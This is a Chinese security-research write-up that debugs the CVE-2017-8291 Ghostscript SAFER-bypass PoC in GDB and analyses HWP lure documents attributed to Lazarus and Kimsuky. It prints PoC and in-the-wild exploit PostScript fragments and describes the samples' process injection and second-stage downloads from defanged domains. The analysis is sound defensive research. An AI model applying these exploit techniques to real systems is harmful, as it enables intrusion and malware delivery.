CVE-2017-8291及利用样本分析

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3.本文可能存在部分表达的不清甚至错误的情况,还希望各位看官在公众号留言多多提出,非常感谢!

0x00 前言:

在日常的针对朝鲜半岛APT活动的分析中,我们可以看到其来自朝鲜的APT组织,例如:lazarus,kimsuky等,其载荷中大量使用了韩国办公软件Hancom office所对应的hwp后缀的样本进行投递.本文将通过解析其中所用的最多的漏洞——CVE-2017-8291为切入点进行相关的分析,以及kimsuky,LazarusAPT组织样本的调试过程

注意:笔者在此前从未接触过Postscript及Ghostscript(甚至不闻其名)，该文权当笔者在学习过程中的一篇学习笔记，其中如有不当之处，望各位看官能够赐教,笔者感激不尽!。

0x01 Postscript:

读者可以先行安装Ghostscript，之后便可于其中运行下列示例。

> 注：读者若要详细了解，见参考链接。

PostScript是一种图灵完全的编程语言，通常PostScript程序不是人为生成的，而是由其他程序生成的。然而，仍然可以使用手工编制的PostScript程序生成图形或者进行计算。

PostScript是一种基于堆栈的解释语言（例如stack language），它类似于Forth语言但是使用从Lisp语言派生出的数据结构。这种语言的语法使用逆波兰表示法，这就意味着不需要括号进行分割，但是因为需要记住堆栈结构，所以需要进行训练才能阅读这种程序。

1. 1 2 add：1+2

2. 3 4 add 5 1 sub mul：(3 + 4) × (5 - 1)

3. /x1 15 def：定义一变量x1，其值为15

4. /x1 x1 2 add def：x1+=2

5. x1 0 eq { 0 } if：{}可以简单理解为定义一过程

6. %!PS-Adobe-3.0 EPSF-3.0：注释语句以%开头

for语句语法：initial increment limit proc for。

它会维护一个control variable，初始值设为initial。然后，在每次重复之前，会先比较control variable与limit。若未超过limit，则
将control variable入栈，执行proc之后再将increment添加到control variable。

示例如下：

0
1 1 10 {
pop
1 add
} for

可以用C语言写成(仅仅为表示其功能)：

int a = 1;
int i;
for (i = 1; i <= 10; i++)
{
a+=1:
}

> pstack打印当前栈中所有元素。

交换堆栈顶部的两个元素：

可以用来给变量赋值：

定义数组：

为数组/字典/字符串中某个元素赋值：

index语句语法：anyn … any0 n index。

复制第n个元素到栈顶：

与for及put语句结合使用，可以为整个数组赋值：

可以用C语言写成(仅仅为表示其功能)：

int tmp[10];
int i;
int a = 0;
for (i = 1; i <= 10; i++)
{
tmp[a] = i;
a += 1;
}

与put语句相反，取出数组/字典/字符串中某个元素：

将数组元素及其自身入栈：

取出栈顶两个元素进行比较，结果(前者小于后者，为true;反之为false)入栈：

与le语句比较规则相反：

repeat语句语法：int proc repeat。

重复执行proc指定次数：

> 笔者上述介绍的语句均在POC中出现，若读者未完全理解，可进一步查阅官方参考文档。

0x02 POC分析:

> 笔者分析环境：Ubuntu 18.04、Ghostscript 9.21、GDB+pwndbg

可以用C语言写成(仅仅为表示其功能)：

```
int size_from = 10000;
int size_step = 500;
int size_to = 65000;

int a = 0;
int i;

for (i = size_from; i <= size_to; i += size_step)
    a += 1;

int buffercount = a;
int* buffersizes = NULL;
buffersizes = (int*)malloc(buffercount * sizeof(int));

a = 0;
for (i = size_from; i <= size_to; i += size_step)
{
    buffersizes[a] = i;
    a += 1;
}

```

---

其功能为定义buffers，令buffers[n]为buffersizes[n] string(e.g.:buffers[0]=10000 string)，且每个buffers[n]的最后16位均为0xFF。
关于cursize 16 sub 1 cursize 1 sub {curbuf exch 255 put}for这段代码如何修改buffers[n]的理解，可参阅下图：

---

下面到了关键部分。首先修改POC如下：

```
/buffersearchvars [0 0 0 0 0] def
/sdevice [0] def

buffers %++
(buffers) print %++
pop %++

enlarge array aload
(after aload) print %++
```

如此一来，可直接在zprint()函数处设断。(若在zaload()函数处设断，无法一次断下)

启动GDB后设置参数如下：

set args -q -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f /home/test/exp.eps

实现aload操作的函数zaload()[位于/psi/zarray.c]是第一个关键点：

b zprint设置断点,r开始执行后，成功在zprint()函数处断下：

查看osp及osbot(变量名osbot，osp和ostop代表operator stack的栈底、栈指针和栈顶)：

gdb-peda$ p osbot
$29 = (s_ptr) 0x555557040408
gdb-peda$ p osp
$30 = (s_ptr) 0x555557040418
gdb-peda$ x /4gx osbot
0x555557040408: 0x0000006f5715047e 0x00005555572d5e60
0x555557040418: 0x00000007ffff127e 0x00005555575d44e9

根据ref_s结构(位于/psi/iref.h)的定义：

```
struct ref_s {

struct tas_s tas;

union v {            /* name the union to keep gdb happy */
    ps_int intval;
    ushort boolval;
    float realval;
    ulong saveid;
    byte *bytes;
    const byte *const_bytes;
    ref *refs;
    const ref *const_refs;
    name *pname;
    const name *const_pname;
    dict *pdict;
    const dict *const_pdict;
    /*
     * packed is the normal variant for referring to packed arrays,
     * but we need a writable variant for memory management and for
     * storing into packed dictionary key arrays.
     */
    const ref_packed *packed;
    ref_packed *writable_packed;
    op_proc_t opproc;
    struct stream_s *pfile;
    struct gx_device_s *pdevice;
    obj_header_t *pstruct;
    uint64_t dummy; /* force 16-byte ref on 32-bit platforms */
} value;

};
```

可知0x00005555575d44e9地址处存储的应该是buffers字符串，验证之：

那么0x00005555572d5e60地址处存储的是buffers数组，根据POC Part2能够得知buffers[n]为buffersizes[n] string，且每个buffers[n]的最后16位均为0xFF，验证之：

b zaload于zaload()函数处设断，c继续执行，于zaload()函数处成功断下后，s单步执行到if (asize > ostop - op)：

gdb-peda$ p asize
$37 = 0x3e8
gdb-peda$ p ostop-op
$38 = 0x31f

IF条件成立，那么调用ref_stack_push()函数(位于/psi/istack.c)重新分配栈空间：

```
/
* Push N empty slots onto a stack. These slots are not initialized:
* the caller must immediately fill them. May return overflow_error
* (if max_stack would be exceeded, or the stack has no allocator)
* or gs_error_VMerror.
/
int
ref_stack_push(ref_stack_t pstack, uint count)
{
/ Don't bother to pre-check for overflow: we must be able to /
/ back out in the case of a VMerror anyway, and /
/ ref_stack_push_block will make the check itself. */
uint needed = count;
uint added;

for (; (added = pstack->top - pstack->p) < needed; needed -= added) {
    int code;

    pstack->p = pstack->top;
    code = ref_stack_push_block(pstack,
                                (pstack->top - pstack->bot + 1) / 3,
                                added);
    if (code < 0) {
        /* Back out. */
        ref_stack_pop(pstack, count - needed + added);
        pstack->requested = count;
        return code;
    }
}
pstack->p += needed;
return 0;

}
```

之后的操作是向重新分配的栈空间中写入内容，b zarray.c:71于修改osp语句设断，c继续执行到断点处：

gdb-peda$ x /2gx osp
0x5555575006f8: 0x0000000000000e00 0x0000000000000000
gdb-peda$ x /2gx &aref
0x7fffffffc8e0: 0x000003e85715047c 0x000055555796c3e8
gdb-peda$ s
......
gdb-peda$ x /2gx osp
0x5555575006f8: 0x000003e85715047c 0x000055555796c3e8

x /222gx 0x5555572d5e60查看buffers数组的每一项地址：

注意：osp(0x5555575006f8)位于上图箭头所指数组项下方。

---

实现.eqproc操作的函数zeqproc()(位于/psi/zmisc3.c)是第二个关键点。.eqproc是取出栈顶两个元素进行比较之后入栈一个布尔值(<proc1> <proc2> .eqproc <bool>)：

可以看出其在取出两个操作数时并未检查栈中元素数量，且并未检查两个操作数类型，如此一来，任意两个操作数都可以拿来进行比较。其修复方案即是针对此两种情况：

```
--- a/psi/zmisc3.c
+++ b/psi/zmisc3.c
@@ -56,6 +56,12 @@ zeqproc(i_ctx_t i_ctx_p)
ref2_t stack[MAX_DEPTH + 1];
ref2_t top = stack;

• if (ref_stack_count(&o_stack) < 2)
• return_error(gs_error_stackunderflow);
• if (!r_is_array(op - 1) || !r_is_array(op)) {
• return_error(gs_error_typecheck);
• }
  +
  make_array(&stack[0].proc1, 0, 1, op - 1);
  make_array(&stack[0].proc2, 0, 1, op);
  for (;;) {
  ```

b zeqproc设断后，c继续执行，于zeqproc()函数处成功断下。接下来b zmisc3.c:112于make_false(op - 1);设断：

gdb-peda$ b zmisc3.c:112
Breakpoint 13 at 0x555555d1d754: file ./psi/zmisc3.c, line 112.
gdb-peda$ c
......
gdb-peda$ p osp
$66 = (s_ptr) 0x5555575006f8
gdb-peda$ x /4gx osp-1
0x5555575006e8: 0x0000000000000e02 0x0000000000000000
0x5555575006f8: 0x000003e85715047c 0x000055555796c3e8
gdb-peda$ s
......
gdb-peda$ x /4gx osp-1
0x5555575006e8: 0x0000000000000100 0x0000000000000000
0x5555575006f8: 0x000003e85715047c 0x000055555796c3e8

可以看到make_false()修改之处。之后的pop(1);将栈指针上移，如此一来.eqproc与loop结合便可导致栈指针上溢。

---

下面来看POC Part3：

其通过buffersearchvars数组来检索buffers[N](修改项见图片25)字符串后16位是否被make_false()修改，进而判断osp是否到达可控范围，并通过buffersearchvars数组来保存位置。

于POC中254 le {后添加(Overwritten) print,并将之前添加的print语句全部注释掉。重新启动GDB，设置参数见上，b zprint设断后，r开始运行，成功断下后：

gdb-peda$ x /8gx osp-2
0x5555574fc958: 0xffffffffffff0100 0xffffffffffff0000
0x5555574fc968: 0x0000a604ffff127e 0x00005555574f2364
0x5555574fc978: 0x0000000a2f6e127e 0x00005555575de0fb
0x5555574fc988: 0x5245504150200b02 0x0000000000000001

如此一来，buffersearchvars[2]设为1，退出loop循环。buffersearchvars[3]保存当前检索的buffers[N]，buffersearchvars[4]保存buffersizes[N]-16。

---

POC Part4是修改currentdevice对象属性为string，并保存至sdevice数组中，之后再覆盖其LockSafetyParams属性，达到Bypass SAFER。

三个.eqproc语句上移osp是因为后面会有sdevice、0、currentdevice入栈。修改POC如下，便于设断：

```
(before zeqproc) print
.eqproc
.eqproc
.eqproc
sdevice 0
currentdevice
(before convert) print
buffersearchvars 3 get buffersearchvars 4 get 16#7e put
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
(after convert) print
put

buffersearchvars 0 get array aload

sdevice 0 get
16#3e8 0 put

sdevice 0 get
16#3b0 0 put

sdevice 0 get
16#3f0 0 put

(bypass SAFER) print
```

于zprint断下后，查看上移前osp：

gdb-peda$ p osp
$1 = (s_ptr) 0x5555574fc968
gdb-peda$ x /10gx osp-3
0x5555574fc938: 0x0000000000000000 0x0000000000000000 //sdevice
0x5555574fc948: 0x0000000000000000 0x0000000000000000 //0
0x5555574fc958: 0xffffffffffff0100 0xffffffffffff0000 //currentdevice
0x5555574fc968: 0x0000000effff127e 0x00005555572d8140
0x5555574fc978: 0x00000001ffff04fe 0x00005555572d6c40
gdb-peda$ hexdump 0x00005555572d8140
0x00005555572d8140 : 62 65 66 6f 72 65 20 7a 65 71 70 72 6f 63 ed 3e before zeqproc.>

c继续向下执行：

gdb-peda$ p osp
$2 = (s_ptr) 0x5555574fc968
gdb-peda$ x /10gx osp-3
0x5555574fc938: 0x00000001ffff047e 0x00005555575d4428
0x5555574fc948: 0x00000252ffff0b02 0x0000000000000000
0x5555574fc958: 0xffffffffffff1378 0x000055555709d488
0x5555574fc968: 0x0000000effff127e 0x00005555572d812a
0x5555574fc978: 0x00000001ffff04fe 0x00005555572d6c40
gdb-peda$ hexdump 0x00005555572d812a
0x00005555572d812a : 62 65 66 6f 72 65 20 63 6f 6e 76 65 72 74 96 3f before convert.?

可以看到currentdevice已经覆盖掉之前的字符串buffers[N]，接下来的三条语句修改其属性：

buffersearchvars 3 get buffersearchvars 4 get 16#7e put
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put %0x127e表示string
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put %修改size

关于属性各字段定义见tas_s结构(位于/psi/iref.h))：

struct tas_s {
/* type_attrs is a single element for fast dispatching in the interpreter */
ushort type_attrs;
ushort _pad;
uint32_t rsize;
};

修改完成：

gdb-peda$ c
......
gdb-peda$ p osp
$2 = (s_ptr) 0x5555574fc968
gdb-peda$ x /10gx osp-3
0x5555574fc938: 0x00000001ffff047e 0x00005555575d4428
0x5555574fc948: 0x00000252ffff0b02 0x0000000000000000
0x5555574fc958: 0xffffffffffff127e 0x000055555709d488
0x5555574fc968: 0x0000000dffff127e 0x00005555572d8115
0x5555574fc978: 0x00000002ffff0b02 0x000000000000a5f9
gdb-peda$ hexdump 0x00005555572d8115
0x00005555572d8115 : 61 66 74 65 72 20 63 6f 6e 76 65 72 74 97 3f 00 after convert.?.

查看此时的LockSafetyParams值：

gdb-peda$ x /4gx 0x000055555709d488+0x3e8
0x55555709d870: 0x0000000000000001 0x0000000000000000
0x55555709d880: 0x0000000000000000 0x0000000000000000
gdb-peda$ x /4gx 0x000055555709d488+0x3b0
0x55555709d838: 0x0000000000000000 0x0000000000000000
0x55555709d848: 0x0000000000000000 0x0000000000000000
gdb-peda$ x /4gx 0x000055555709d488+0x3f0
0x55555709d878: 0x0000000000000000 0x0000000000000000
0x55555709d888: 0x0000000000000000 0x0000000000000000

可以看到偏移0x3e8处值为1(另外两处偏移应该是针对其他系统或版本)。LockSafetyParams属性见gx_device_s结构(位于basegxdevcli.h)。

最后通过.putdeviceparams(实现位于/psi/zdevice.c)设置/OutputFile为(%pipe%echo vulnerable > /dev/tty)，.outputpage完成调用。

0x03 Lazarus组织利用样本分析:

> 样本名称：라자루스_에어컨계약.hwp
>
> MD5：EC0C543675374A0EE9A83A4D55CA1A6C

使用HwpScan2打开文档，可以看到其中的PS脚本：

导出解压后的PS脚本，其中Y101变量存储加密后Shellcode，直接改写该脚本将Y101变量解密并写入一EPS文件中：

EPS脚本中有如下语句：

```
label13 label10 aload

/label82 true def
/label83 0 def

{
.eqproc
/label84 true def
/label69 0 def
label6

{
/label84 true def
/label3 label7 label69 get def

/label85 label3 length 16#20 sub def

label3 label85 get
{

label84
{ /label84 false def }
{ /label84 true def exit }
ifelse
}
repeat
label84
{ /label82 false def exit }
if
/label69 label69 1 add def
}
repeat
label84
{ /label82 false def exit }
if
/label83 label83 1 add def
}
loop

label82
{ quit }
{ }
ifelse

label2 0 label2
label3 label85 16#18 add 16#7E put
label3 label85 16#19 add 16#12 put
label3 label85 16#1A add 16#00 put
label3 label85 16#1B add 16#80 put
put
```

可以看出其确实利用了CVE-2017-8291。

继续分析解密后的EPS脚本可以看到其调用了VirtualProtect()函数：

x32dbg中打开gbb.exe，最新的HWP已经移除该组件，笔者分析时使用的HWP版本如下：

之后修改命令行，其参数为打开文档后于Temp目录下释放的PS脚本(即HwpScan2中的BIN0001.ps)完整路径：

于VirtualProtect()函数处设断后F9运行，成功断下：

通过0xAABBCCDD标志确定ECX指向：

由ECX给函数传递参数，获取系统函数调用地址：

判断当前进程是否运行在WOW64环境中：

获取当前系统内所有进程的快照：

获取第一个进程的句柄：

通过Process32Next()枚举进程，并传递给sub_026AF131函数判断是否为explorer.exe：

返回explorer.exe进程ID：

之后将Shellcode注入到explorer.exe进程中：

x64dbg附加到explorer.exe上，分析其Shellcode功能。同样是通过0xAABBCCDD标志确定RCX指向：

由ECX给函数传递参数，获取系统函数调用地址：

之后调用sub_4890EE0判断当前进程是否为explorer.exe进程：

移动指针指向，并将gozdeelektronik[.]net提取出来：

载入WinInet.dll：

获取即将调用函数调用地址：

之后从gozdeelektronik[.]net下载第二阶段载荷movie.jpg：

> 样本名称：2020년 연구ㆍ전문원 및 수자원분야 경력사원 선발 모집요강.hwp
>
> MD5：F90770D4A320BF15E51FDD770845DCE5

同样是先使用HwpScan2查看该文档：

tomato变量存储的是未加密的EPS脚本，可直接将其内容复制出来查看。其与上一利用脚本不同之处在于其采用拼接方式来定义名称字符串：

......
{(KE) (RN) (EL) (32) (.D) (LL) 6 zyx01}
......
{(Vi) (rt) (ua) (lP) (rotect) 5 zyx01}
......
{(Ex) (it) (pro) (ce) (ss) 5 zyx01}
......

调试方法同上，不再赘述。可以成功在VirtualProtect()函数处断下：

获取GetProcAddress()调用地址：

获取LoadLibrary()调用地址：

载入msvcrt.dll并获取system()函数调用地址：

通过call 02250806指令来为system()函数传递参数：

其执行指令的功能是于TEMP目录下创建一名为adsutil.vbs的VBS脚本，写入内容并执行该脚本：

该VBS脚本经整理后内容如下：

该脚本功能是于https[:]//matteoragazzini[.]it下载第二阶段载荷，解码后写入svchost.exe中并执行之。

0x04 Kimsuky组织某样本分析:

> 样本名称：(첨부2)20-0206_법인_운영상황_평가표_서식(법인작성용).hwp
>
> MD5：8AD471517E7457EB6EEA5E3039A3334F

HwpScan2查看该文档，会发现该样本不同于Lazarus组织的两个样本在于其EPS脚本最后部分：

同样是在VirtualProtect()函数处断下：

通过ECX给sub_02544D7D传递参数获取系统函数调用地址：

调用GetComputerName()获取计算机名并于其后添加经过计算的十六进制值，之后通过异或及指定运算来为即将创建的文件命名：

于临时目录下创建文件：

之后再次计算一文件名并创建文件：

调用ZwQuerySystemInformation()遍历系统所有打开的句柄，此时SystemInformationClass=SystemHandleInformation，若缓冲区不足则把申请内存的大小扩大一倍之后调用RtlReAllocateHeap()再次申请，直至成功为止：

接下来调用ZwQueryObject()查询对象的类型，找到打开的EPS文件：

使用CreateFileMapping()和MapViewOfFile()函数将EPS文件映射到进程内存空间中：

映射完成：

移动指针指向EPS脚本最后部分：

调用VirtualAlloc()函数为其开辟内存空间：

解密并写入到分配的内存空间中：

实际上解密后的该部分将被注入到HimTrayIcon.exe进程中，详见下文分析。
获取当前系统内所有进程的快照之后通过Process32Next()枚举进程：

遍历线程，找到HimTrayIcon.exe之后打开并挂起线程：

将解密出来的Shellcode写入到进程：

之后调用RtlCreateUserThread()函数恢复线程的执行。最终释放内存空间并退出：

其注入Shellcode可以附加HimTrayIcon.exe之后调试，亦可将Shellcode转成exe之后调试，笔者选择转成exe之后再进行调试。解密内存中的PE文件：

获取系统文件夹并拼接路径：

创建进程：

调用GetThreadContext()函数，若失败则直接TerminateProcess：

获取系统版本信息，以此来判断下一步如何执行：

多次调用WriteProcessMemory()函数于创建的进程中写入PE文件内容：

恢复线程执行：

0x05 参考链接:

• Wikipedia —— https://zh.wikipedia.org/wiki/PostScript
• 官方参考文献 —— https://web.archive.org/web/20170218093716/https://www.adobe.com/products/postscript/pdfs/PLRM.pdf
• POC —— https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/exploits/CVE-2017-8291/msf.eps
• Ghostscript 9.21 —— https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/tag/gs921
• GhostButt - CVE-2017-8291利用分析—— https://paper.seebug.org/310

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